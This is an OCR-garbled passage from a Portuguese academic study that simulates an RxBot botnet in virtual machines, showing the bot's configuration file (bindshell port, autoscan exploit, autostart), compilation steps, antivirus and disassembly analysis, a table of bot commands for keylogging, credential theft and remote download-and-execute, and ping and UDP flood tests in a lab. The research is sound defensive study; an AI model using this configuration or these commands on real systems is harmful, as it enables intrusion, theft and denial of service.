invoke-rc.d ircd-hybrid restart>:
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Arquivo Editar Ver Pesquisar Ferramentas Documentos Ajuda

@ B‘ P" Abrir ~ E’A Salvar Desfazer
!‘ | ircd.conf %

—3 B e e e e
! | sendg=2 megabytes;
1
i 4 /* listen {}: contain information about the ports ircd listens on (OLD P:) */
e L isten {
FJ /* port: the specific port to listen on. 1if no host is specified
’ * before, it will listen on all available IPs.
*
* ports are seperated via a comma, a range may be specified using "
DX %/

3 e /* port: listen on all available IPs, ports 6665 to 6669 */
- host = "192.168.08.2": # change this!
port = 6667;

+i
4l
| /* auth {}: allow users to connect to the ircd (OLD I:) */
= auth {
/* user: the user@host allowed to connect. multiple IPv4/IPv6 user
% |1_ines are permitted per auth block.
o

user = "*@127.0.0.1";

Figura 4.10 — Arquivo de configuracéo do IRCD-Hybrd. Fonte: IRCD-HYBRID, 2012

4.4 Compilacédo do bot

Conforme ja explicado, o codigo da Rxbot foi escain linguagem C++, entédo
para adequa-lo ao presente estudo foi necesséararahlgumas linhas do arquivo configs.h

atraves do Visual C++. As principais alteracfegmizespeito ao servidor local, porta e canal

para cad&ot se conectar.
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B configs.h

<7 bot configuration (generlc) — doe=n't nesd to be encrypted
#define AU _IP "" ~~» ip for autoscan on =tartup - blank = local =can
#define AU_EXPLOIT "asnl=mh" - exploit for autos=can on =tartup

int port = BBBET; ¥ server port

int port2 = 6667 7 backup server port

int socksdport = 2020; <~ Port # for sockd daemon to run onm — CHAHGE THIS!II
int tftpport = .69; ## Port # for tftp daemon to run on

int ftpport = brandom{l337.65535); » Port # for ftpd desmon to run on

int httpport = 2001; #7 Port # for http daemon to run on

int rloginport = 513 ## Port ¥ for rlogin daemon to run on

unzigned short hlndpnrt = 1991; s Port # for bindshell dasmon to run on
BOOL topicemd = TRUE: ## =et to TRUE to enable topic commands

BOOL rndfilename = TRUE: s uze random file name

BOOL AutoStart = TRUE; <+ enable autostart registry kevs

char prefiz = '.' # command prefiz {one character max. )

int maxrand = §; # how many random numbers in the nick

int nicktype = COUNTRYHICK: -~ nick type (=== rndnick h)

BOOL nickprefiz = TRUE; s nick uptimne & mirc prefix

#ifdef DEBUG LOGGING

char logfile[]="c:““debug. t=zt"

#endif

#ifndef HO CRYPT ~ Only use encrypted strings or yvour binary will not be securel!

#el=se 4 Recommnended to use this only for Crypt() setup; this is unsecure.

char botid[] = "da At i ol s

char wersion[] = [\xD3\xS4\2p1ath\2\xD3 reloaded 0.6] ~2{{~2by koncool>~2))~2" £+ Bots lwversion repl
char pa=ssword[] = <7 bot password

char =erver[] = 192 168 o.2" S5 zerver

char =erverpas=[] = i server password

char channel[] = #asd #¢ channel that the bot should join

char chanpa=ss[] = b!"; "4 channel password

char server2[] = "127 . 0.0.1": #7 backup server (optional)

Figura 4.11 — Arquivo de configuragdo da RxBot

Para a integracdo e compilacdo do novo codigo ésséda a instalacdo da
Plataforma SDK da Microsoft, além da inclusdo degustes linhas no diretério do Visual

C++:

- C:\Program Files\Microsoft Platform SDK}),

- C:\Program Files\Microsoft Platform SDK\Bin\;

- C:\Program Files\Microsoft Platform SDK\Include\;
- C:\Program Files\Microsoft Platform SDK\Lib\

Ap6s a compilagdo, o arquivo executavel virétictaes disponivel na pasta

“debug” do diretorio que contém os codigos malicgscom o nome de “rbot.exe”.

4.5 Andlise do malware

Para se ter uma ideia do grau de risco e contadonag arquivo criado foi
submetido ao antivirus online Jotti (2012), ferrataeque permite verificar arquivos

suspeitos diretamente em aproximadamente 20 falbekae antivirus.
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Como resultado, foi verificado que 18 dos programaisvirus identificaram o

arquivo como malicioso, com diversos nomes de nteg conforme figura:

@ Argalit  z012-03-02 Heur.RoundKick @FPROT =z012-08-02 W32/Irchot.1iGeneric
2012-08-02 Win32:5dBot-gend4 s F-Secure. 2012-03-02 Backdoor.Agent.1
# AVG z201z-02-02 BackDoor.RBot G OATA :01:2-03-0z Backdoor.Agent.1
. AnliVi¥ zo1z2-08-02 WORM/Rbot.Gen SFIKARUS 2012-02-02 Backdoor.Rbot
(& bitdefender z012-02-0z Backdoor.Agent. 1 KAIPIR|KY 2 2012-05-02 Backdoor.Win32.Rbot.djt
@y Clarn &Y z012-08-02 Exploit.DCOM.Gen PANDA :z01z-08-02 W32/ Gaobot.gen.worm
@ﬂ'xw" 2012-07-30 BackDoor.W32.Rbot.af Quick Heal zoiz-os-0z Found nothing
2012-08-02 Win32.HLLW.MyBot.based SOPHOS :z012-05-02 W32 /Rbot-Gen
ﬂ Emsisoft 2zo12-03-02 Backdoor.Rbot!IK HAVBA32 :01z-08-02 Backdoor.Win32.Rbot.djt
(es]:1] 2012-08-02 Win32/Rbot firusBusler 2012-08-02 Found nothing

Figura 4.12 — Verificagao de virus no arquivo “rbotexe”

J& com um identificador de arquivos, o CFF Explofer possivel identifica-lo

realmente como um arquivo executavel e escritoiegunagem C++, conforme figura abaixo.

CFEF Explorer ¥l - [rBot.exe]
File Setkings 7

: ™ H @ i -'.--lBot_exe bi b
- I i)

| Property Yalue

= oL N
= BFIJE- rBol. exe — || File Mlame i irBok.exe
= Dog Header File Tyvpes Portable Executable 32
2] Mt Headers ; ; :
=l File Header File Info Microsoft Wisual C++
(2] Optiohal Header File Size 427,11 KB (437363 bytes)
2] D ata Directories [x] PE Size 427.00 KB (437245 bytes)
j_ Section '_"eade'g -] Created Thursday 02 August 2012, 16.43.04
F— ¥ Import Directony
ey ; ] Modified Friday 20 July 2012, 17.49.18
— | Relocation Directory
—— L) Debug Directary Accessed Thursde_r;-' 02 August 2012, 16.43.09
— '@},Address Converter MOS SASEODEF7IDDASS9D2561 AEEZ0EFHEELS <
b Dependency Walker SHA-1 BEDACSEFCEEFE4A141COBES407 143217 | FFZBEDE w
— "f:'l; Hex Editor < ’ i ] ’ : ' Y
—— 4, Identifier i
'-“f:'i.rlmport Adder e Property Yalue
— ‘-E. Quick Dizaszzembler Ernpky Mo additional info available
— %Hehuilder = [ ] >

Figura 4.13 — Identificacdo do arquivo malicioso rbt.exe

Por fim, uma breve analise com um programa disaseeDA, foi possivel
obter alguns rastros que seriam deixados pelo arrigd cédigo malicioso, como por

exemplo, os IPs ou canais configurados pelinerder conforme visto na figura 4.13.
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L= —— u::___-;:.r_.u 5
& *
EAH L

push iFh push 7Fh
o R L e e push  offset ?seruerZ@EIPADA ; char » seruer?
push  offset unk_4F374 push  offset unk NFA74C
call strocpy call strncpy
add esp, #Gh add esp, OCh
noy eax, 7portEEIHA ; int port mov eax, Tport2@E@3HA ; int port
noy dword_UF389C, eax moy dword 4F389C, eax
push  3Fh push aFh
push offset ?channel@@3Paba ; “Hasd” push offset Pchannel2@RIPAba ; “#a”
push offset unk_4F37CE push offset unk_4F37CC
call strncpy call strocpy
add esp, HChH add esp, UCh
push 8Fh push 2Fh
push offset ?chanpass@EIPARA ; DI push offset fchanpass2@@3eabn ; oo
push offset unk 4F38OC push offFset unk_ LF3RHC
call strncpy call strncpy
add esp, BCh add esp, OCh
and [ebp+uar 7381, @ moy [ebp+uar_¥38], 1
jmp short loc NE37D5

YYV Y

Figura 4.14 — Engenharia reversa no arquivo execuv&|

4.6 Testes

A fim de verificar e demonstrar algumas funcionadids da botnet, procedeu-se
com alguns testes que iniciaram com a contamindedam no, reconhecimento e execucao

de comandos e algumas modalidades de ataque, w@néer segue.

4.6.1 Contaminacéao

A contaminacédo inicial ocorreu com um duplo cligue arquivo executavel
“rxbot.exe”. Ressalta-se que na pratica a contagdmaem geral, € através do recebimento de
arquivos, de emails, cavalos de Troia, entre outepsmesmo assim, 0S arquivos Sao

disfarcados com técnicas de ofuscacao, conforne em tépico acima.

Apés a contaminacdo, botherder € logo avisado no canal de chat pre-
estabelecido. Também, depois de contaminado, areadeializacdo da maquina do usuario,
o botherderrecebe a mensagem que o né contaminado esta.dddnfegura 4.15 é possivel

observar o zumbi conectado ao C&C, que esta nedestanux.
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XChat: code @ hybrid7.debian.local / #asd (+nt)

*I A conversar em #asd

L F *|BRA|74126 (~hrxptkc@192.168.0.4) entrou em #asd

Figura 4.15 — Aviso ao botherder que usuario esténbine

Ja figura 4.16, podemos verificar as conexdes quent estabelecidas entre o

C&C e osbots através do comando netstat —a ou netstat —ep &7 .

4.6.2 Envio e execucéo de comandos

A RxBot permite o envio de alguns comandos, tanswapobtencdo de

informagdes, como para execugédo de atividades ivsdE:

Comando Sintaxe Descricao

Execute .execute <visibilidade> <arquivo> Executan programa na

vitima, 0, invisivel e 1 visivel

Capture .capture screen <arquivo> Capturar a teldtona

Get .get <arquivo> Enviar um arquivo via DCC
Delete .delete <arquivo> Deletar um arquivo

Keylog .keylog on|off Ativar ou desativar |0

monitoramento de teclas

Driveinfo .driveinfo Informacbes sobre espaco

total, livre e usado do disco

Findfile findfile <curinga> <diretoério> Pesquisanquivos
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Who .who Informacdo de quem esta
logado

Netinfo .netinfo Retornar informacéo de IR e
rede

Open .open <arquivo> Semelhante ao “execute”,
podendo abrir web browser

Sysinfo .sysinfo Retorna informacbes sobrg o
sistema

Findpass findpass Decodificar e exibir |as
credenciais do administradpr
Windows

Getcdkeys .getcdkeys Busca e retorna chaves de
programas instalados

Killproc Kkillproc <nome do processo> Killar um messo da lista

Procs .procs Listar os processos |em
memoria

Readfile .readfile <arquivo> Ler o conteuddo de |um
arquivo

Download .download <url> <destino><ag¢ao> Realizavnload, grava em

um  diretério, podend(

executa-lo

Tabela 4.1 — Comandos da RxBot
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4.6.3 Ataques

A RxBot possui suporte para alguns tipos de atagquesoicmpflood pingflood
synflood tcpflood e udpflood Atualmente, com a expansdo da largura de banda e

constantepatchestem se tornado mais dificil realizar um ataquesdanodalidade.

4.6.3.1 PingFlood

Pingflood, conforme ja visto, € um ataque de nemgaegsservico que sobrecarrega
0 sistema da vitima através do envio insistentpat®te ICMPEcho Requestdeixando o

alvo impossibilitando de responder todas as regfiesi.

No teste em questdo, com o envio de 1000 pacoteperas duas maquinas
contaminadas e bombardeando o alvo, IP 192.16&8dsa de anormal foi percebido a n&o

ser um fluxo constante de pacotes no analisadcesivark.

= =T

W Bl Bt Wlew Go Cwhurw Awboe Stostics Telephony ook irtemdls. Heb =

e S B oA a BExgo|lavrseTi|Eacdan @ -
e | 7] caneon..

BRafazs
Terotoeal kergth it £

BRAJEIS0

car ey saw

ERA| 2848

R
eafasses

S1110 240, 250401 192,168, 0. 192.186.0.5 w1178 echo (ping) requese 1
onalorezs GLLL1 240,250417 192, 168, 192.168.0.4 IPv4 1514 Fragnented P protocol
o 1112 740. 250458 152,168, 162.168.0.4 IFv4 1514 Fraguented IP protocol
BLI13 240, 250544 102,168, € 102168004 ICMETL78 EEho (Fing) reply:
1114 240, 251135 152,168, 152.168.0.5 PV 1514 Fragmented IP protoco]
S1115 240. 251150192, 168, 192.168.0.5 LFv4 1514 Fragmented 1P protocol
41116 240. 251161 192,168, 192.168.0.5 ICMP 1178 Echo (ping) request
91117 240.251178192.198. 192.198. 0.4 LPv4 1514 Fragmented IP protocol
Tending bLrgs 15 12 108 0.5 51118 240,251229 152,168, 152.168.0.4 IPv4 1514 Fragnented P protocol
G1115 240.251273 192,168, 162.168.0.4 IMP. 1178 echo (pingd reply i
N"’ "" o Mt i i 91120 240, 252086 192.148. 192.166.0.5 LFvé 1514 Fragmented IP protocol
91121 240, 252100 152. 168, 192.168.0.5 TPv4 1514 Fragiented TP protocol
i LI A0, 257111 102,168 107168, 015 TOMP 1178 Echo (ping) raqusst d
plaglicod 192.160.2 3 10000 2036 109 91123 240.252128192.168. 152.168. 0.4 TPV 1514 frangt;\?tp grntnml
B113f 240, 252221 192,168, 192.168.0.4 IPv4 1178 Fraghented IP proTod 1+

Frame 1t 220 Byt €5 on nterface O
i Ethernet 11, Src: CadmusCo_ad:lé:lg o ety 10, Dst: Broadcast (FFiFF:ff:fFerf:f
192.168.0.3 (192.168.0,3), Dst: 192,188.0.255 (182:188.
netbins-dgn (138), DSt Port: netbios-dgm (138)

i
52 00 83 00 00 B0 11 b7 42 <0 a8 00 03 <O a8
Ff 00 82 00 Ba 00 ba 5B ey 11 02 80 31 cO a8

TT IT OB 00 27 a8 16 10 08 00 45 00

030033 00 34 00 00 20 47 45 40 44 40 43 43
645 46 41 44 41 44 42 43 41 43 41 43 41 43 i
g u) - .mnrmmmnvm J [H2 @ s ‘
206, 512560 192,168, 0.5 192.163.0.3 Fragmented 1P protocol (prot T Eremn . o ) o ‘
57857 208, 512566 192.168. 0, 5 192.168.0.3 Echo (ping) reply  dd-ox02 -
57658 206, 765288192.168. 0. 3 102,188, 0.2 119 Request (PRIVASG) b i L Tl Bratoepl_Lsngth bpes - |
57659 206.804468 192, 168, 0.2 102.168.0.3 60 6867 » blackjack [Ack] seqsz 53072 209.760220192.168. 0.5 152,168, 0.4 TOMP 1178 £cho (ping) reply i
57660 210.295593 192,168.0. 2 192.168.0. 3 TRC 151 RESPONSE (PRIVMSG) 53073 209, 7E0315 182,166, 152.168.0.5 IRy 1514 Fragmented IF protocel
§7661 210, 467458 192 165.0. 3 192,168.0.2 Tee 54 blackjack » 8687, [ACK] Seqel. 53074 20, 760334 152, 168, 0.4 192.168.0.5 tPv4 1514 Fragmented iF provocol
57662 240.333052 102,168, 0.2 192.168.0:3 TRC 111 Response (PRIVMSG) 53075 209, 740313 192.168. 0.4 192.268.0.5 IoMR 1178 Echo (ping) request
57663 240.376922 192, 168.0. 3 192.168.0.2 IRC 109 Request (PRIWMSG) SA0E Y. Thi3a 5 1841605 192,255 TPl LA Fragmented: 10 rotosol
57664 240.370927 192,168, 0.2 192.168.0.3 TCp 50 8867 » hlackjack [ACK] Seg=2 33077 209. 751231192 168.0.5 192.168.0.4 1Rvd 1514 Fragmented Ip protocol
57685 240417263 192.168.0. 2 162.168.0.3 IR 141 Response (PRIVMSG) B 5%072 §‘°‘2 ;2}?33 10 5: S‘f 133'192‘3'? 1Pud ﬁff 552‘3»5.‘3125%?51&&
57666 249, 520624 192, 168.0.3 192.168.0.2 54 blacklack » 6867 15 +166. -163.0.
Jq il Bei1ag " LAck] 5 T @ 3080 200, 761350102, 168, 0.4 162.163.0.5 Iewd 1178 Fragmented Ip protocol
B 53081 210 791830192.168.0.4 192.168.0.2 Tac 115 Request (PRIVMEG)
W Frame 1: 220 bytes on wire (1760 Bite), 220 bytes captured (1760 Bite) on interface 0 53082 240, 334628192.168.0.2 192,168, 0.4 IRC 111 Response (FRIVMSE)
0 EThernet 11, Src: Cadmusco.a@ileii0 (D8:00:27:aG:16:10), DST: Broadcast CFFiFFIff:ifF:iffiff) 53085 240, 384487192, 168.0.2 192.16%.0.4 18C 140 Response (PRIVMEC)
& Internet Frotocol Version 4, Sre: 192.168.0.3 (192.168.0.3), Dst: 192.168.0.255 (192.168.0.255) 53084 240, 34570192, 168, 0.4 162,168, 0.2 TCR 54 hlackjack > 6667 [ack]
o 1iNAr AT AaEan PrATren]. SR Preti nerhincodam CEIR). DT BACE: ASPESnsodan. (1371 = 53085 240, 393325192.168. 0.4 152.168.0.2 18C 109 Request (PRIVMIE)
1 53086 240, 415495 192, 168.0.2 192.168.0.4 Tep 60 66867 > blackjack [ACKIT]
000 FF T TF 77 77 03 00 27 a5 16 10 08 00 45 00 il |
10 00 co i b M0 N0 0 7T U d d0 D Frame 1: 220 bytes on wire (1760 bits), 220 byfes captured (1760 Bits) on interface ¢
050 00 03 00 B2 00 af 00 00 2042 48 45 44 45 45 43 . EFFD & Ethernet 1T, Src: Cadnusco_ad:16:10 (08:00:27:49:16:10), Dst: Broadeast (FFffiFF:ff:ffef
040 d4e 45 49 45 41 44 41 44 42 43 41 43 41 43 41 43 AFIFADAD BCACACAC = Interner Protocol version 4, Srci 192,168.0.3 (192,168.0.3), Dst: 192.168.0.255 (192.166.
f AriTarin M MG AR A1l IR MR 5 User Datagram Pratocol, Sre Port: nethios-dgm (138), Dst Port: netbios-dgn (138)
meﬂ [Packets; S7e56 856 Markad: O Profile: Defauk 2 e T = -
o] @ (3 U [0 Copturing from arp_ Ho#Aae e o -
| B A B R SR R R B R R ST 2 =i

Finicar| | € & @ 9 | ¥ orade v virtuaB.., | [ RC-server-192.1... | B Gerenciador de tar.. | EflEst-wpot-toz.168.... | EllEstupoz 10z, 6e.... | [ Estipos-192.168....| € 8ot Howto - Go.. | B O 2s

Figura 4.16 — Demonstracdo do PingFlood no ambientie simulacdo
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Aumentando o numero de pacotes para 10.000, adestdtima mostrou-se
sobrecarregada, apresentando lentiddo e ndo camsggacessar o recebimento dos pacotes

a tempo.

4.6.3.2 UDPFlood

Da mesma forma que o ataque anterior, o UDPFloodagaz de deixar
indisponiveis os servicos de uma rede. Um atagsead®eodalidade inicia-se com o envio de

um grande namero de pacotes UDP.

O protocolo UDP néo é orientado a conexdo, naetmmdo garantia de entrega
do pacote, assim, 0 ataque consiste simplesmentneiar pacotes randémicos para varias

portas do servi¢co da vitima.

Ao receber os pacotes, a vitima, com o IP 192.188i@ntou verificar qual
aplicacdo esta aguardando por aquele pacote ra gsstciada. Porém, como nao existe, de
fato, nenhuma aplicacdo aguardando, a vitima euomtepacote de resposta ICMP para a
colecdo de bots, no caso os IPs 192.168.0.3 e@®0.4. O comportamento foi semelhante

ao ataque ping.
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5. CONCLUSAO

Nos dultimos anos, temos observado o desenvolvimgntmgressivo e a
proliferacdo assustadora dasnetsou redes zumbis. Redes de computadores vém skmdo a
constante de ataques de hackers ou grupo de hackensa finalidade, quase sempre, de

cometer atividades maliciosas.

As estacdes vitimas sdo infectadas por um codigaiosn, deixando-as agir

automaticamente e inconscientemente sobre o certecseu dono, lmotherder

Esse trabalho apresentou uma simulacdbadeetsatravés do uso de maquinas
virtuais. Foi possivel observar, além das no¢désodaotorias sobre o tema, os atores
envolvidos, a dinamica de criagdo, com suas fordesontaminacdo e propagacéo, as
maneiras possiveis de controlarbmds as finalidades da utilizacdo dbstnetsno mundo,

bem como o caso particular da RxBot.

A plataforma de simulacdo permitiu primeiramentaizar todo o trabalho com
somente uma maquina fisica, evitando maiores custosiecessidade de aquisicdo de
computadores e equipamentos de redes. Também segoiun um perfeito isolamento, onde
cada VM funcionou como se realmente fosse uma &stdisica. Ofereceu ainda
disponibilidade, seguranca nos procedimeixato que foi manipulada certa quantidade de
virus) flexibilidade com uma rapida recuperacdo apos &lpartabilidade e um eficiente

gerenciamento das estagfes envolvidas, o servia®nés vitimas.

Em seguida, com a plataforma, pode-se verificarngibnamento, na prética, do

ciclo de vida de umaotnet desde a manipulacdo e compilagdo do codigo rasticque
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originou o virus, a exploracao das vitimas, o éstdg contaminacdo e sua propagacao e a

maneira de controlar as diversas maquinas contaasna

Nos testes aplicados, foi visto como os recém nfectados se comunicavam
com o botherderou como estes sdo avisados apdés um né ja contdonfiar online na

colecdo dédots

Além disso, uma série de comandos foi enviada @&IG, inclusive ndo somente
da estacao servidora, mas também de qualquer esiagdele venha se conectar. Dentre os
principais comandos, foram testados: execucao glévas, captura e recebimento de telas,
ativacdo dekeyloggere recebimento das teclas digitadas, envio e deléegd arquivos,
informacdes sobre estacdes logadas e seu sisteemacmmal, informacdes sobre a rede,

busca de arquivos, escaner de rede encerrameptocissos.

Os testes prosseguiram com alguns ataques do @S buscando, na medida
do possivel, um alinhamento da plataforma a reddiddendo o trafego entre nos e

controlador observado num analisador de rede.

Diante do exposto, com o mundo em frequente tramsfgdo, avanco constante
da tecnologia da informacdo e uso de computadaes @s mais diversos fins, vemos a
importancia do presente estudo, viabilizando mpara compreensao critica de um grande

problema que afeta milhares de redes e usuariosrdputadores.
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